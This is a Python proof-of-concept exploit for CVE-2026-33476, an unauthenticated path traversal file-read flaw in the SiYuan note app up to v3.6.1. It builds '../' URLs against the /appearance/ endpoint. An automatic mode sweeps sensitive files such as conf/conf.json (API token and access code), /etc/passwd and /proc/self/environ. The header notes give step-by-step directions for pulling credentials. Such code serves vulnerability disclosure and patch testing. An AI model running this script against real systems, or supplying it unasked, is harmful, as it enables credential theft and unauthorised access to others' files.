#!/usr/bin/env python3
# Exploit Title: SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal)
# CVE: CVE-2026-33476
# Date: 2026-03-21
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://b3log.org/siyuan
# Software Link: https://github.com/siyuan-note/siyuan
# Affected: SiYuan <= v3.6.1
# Tested on: SiYuan v3.6.1 (docker / linux)
# Category: Webapps
# Platform: Linux / Windows / macOS
# Exploit Type: Remote File Disclosure
# CVSS: 7.5
# CWE: CWE-22, CWE-73
# Description: Unauthenticated path traversal in /appearance/* endpoint allows reading arbitrary files
# Fixed in: v3.6.2
# Usage:
# python3 exploit.py <target_url> --target-file <path>
# python3 exploit.py http://127.0.0.1:6806 --auto
#
# Examples:
# python3 exploit.py http://target:6806 --target-file conf/conf.json
# python3 exploit.py http://target:6806 -f ../../../../etc/passwd --depth 10
#
# Options:
# --target-file Specific file path to attempt to read
# --depth Traversal depth (default: 6)
# --auto Try multiple common sensitive paths automatically
# --timeout Request timeout in seconds (default: 12)
#
# Notes:
# Most useful target: conf/conf.json (contains API token, access auth code, etc.)
# Use --auto mode for broad testing of interesting files
#
# How to Use
# Step 1: Run the script against a vulnerable SiYuan instance
# Step 2: Use --target-file conf/conf.json to extract credentials/config
# Step 3: For system file access try deeper traversal (--depth 8–12)
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-33476 • SiYuan arbitrary file read ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import argparse
import urllib.parse
import requests
import sys
def build_traversal_url(base_url, target_file, levels=5):
traversal = "../" * levels
target_file = target_file.lstrip("/.").replace("\\", "/")
path = f"{traversal}{target_file}"
return urllib.parse.urljoin(base_url.rstrip("/") + "/", f"appearance/{path}")
def try_read_file(session, url, timeout=10):
try:
r = session.get(url, timeout=timeout, allow_redirects=False)
if r.status_code == 200 and len(r.content) > 0:
try:
return r.text[:4096]
except UnicodeDecodeError:
return f"[Binary content - {len(r.content)} bytes]"
elif r.status_code in (401, 403):
return None
else:
return f"[Status {r.status_code}] {r.reason}"
except requests.RequestException as e:
return f"[Error] {str(e)}"
def auto_exploit(base_url, max_levels=10):
common_targets = [
"conf/conf.json",
"data/conf.json",
"workspace/conf.json",
"data/emojis/README.md",
".siyuan/history.db",
"appearance/themes/README.md",
"etc/passwd",
"proc/self/environ",
"Windows/win.ini",
"Users/Public/Desktop/test.txt",
]
print("[*] Starting automatic traversal test...\n")
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (compatible; SiYuan-PoC/1.0)"
for target in common_targets:
print(f"→ Target: {target}")
found = False
for depth in range(3, max_levels + 1):
exploit_url = build_traversal_url(base_url, target, depth)
result = try_read_file(s, exploit_url)
if result is None:
continue
if "[Error]" not in result and "Status" not in result:
print(f" SUCCESS at depth {depth}:")
print(f" URL: {exploit_url}")
print(f" Content preview:\n{result.rstrip()}\n")
found = True
break
if not found:
print(" Not found in tested depths.\n")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-33476 SiYuan path traversal PoC")
parser.add_argument("url", help="Base URL of SiYuan instance")
parser.add_argument("--target-file", "-f", help="Specific file to read")
parser.add_argument("--depth", "-d", type=int, default=6, help="Traversal depth")
parser.add_argument("--auto", action="store_true", help="Try common files automatically")
parser.add_argument("--timeout", type=int, default=12, help="Request timeout")
args = parser.parse_args()
base = args.url.rstrip("/")
if not base.startswith(("http://", "https://")):
print("[!] URL must start with http:// or https://")
sys.exit(1)
print(f"[*] Targeting SiYuan instance: {base}")
print("[*] CVE-2026-33476 - Unauthenticated Arbitrary File Read PoC\n")
s = requests.Session()
s.headers.update({"User-Agent": "Mozilla/5.0 SiYuan-Test/1.0"})
if args.auto:
auto_exploit(base, args.depth)
elif args.target_file:
url = build_traversal_url(base, args.target_file, args.depth)
print(f"[*] Attempting to read: {args.target_file}")
print(f" URL: {url}\n")
content = try_read_file(s, url, args.timeout)
if content:
print("Result:\n" + "-"*60)
print(content)
if len(content) > 4000:
print("\n... [truncated - full content retrieved]")
else:
print("[×] Failed - no content or blocked (possibly patched?)")
else:
parser.print_help()
print("\n[!] Please provide --target-file or use --auto mode.")
sys.exit(1)
if __name__ == "__main__":
main()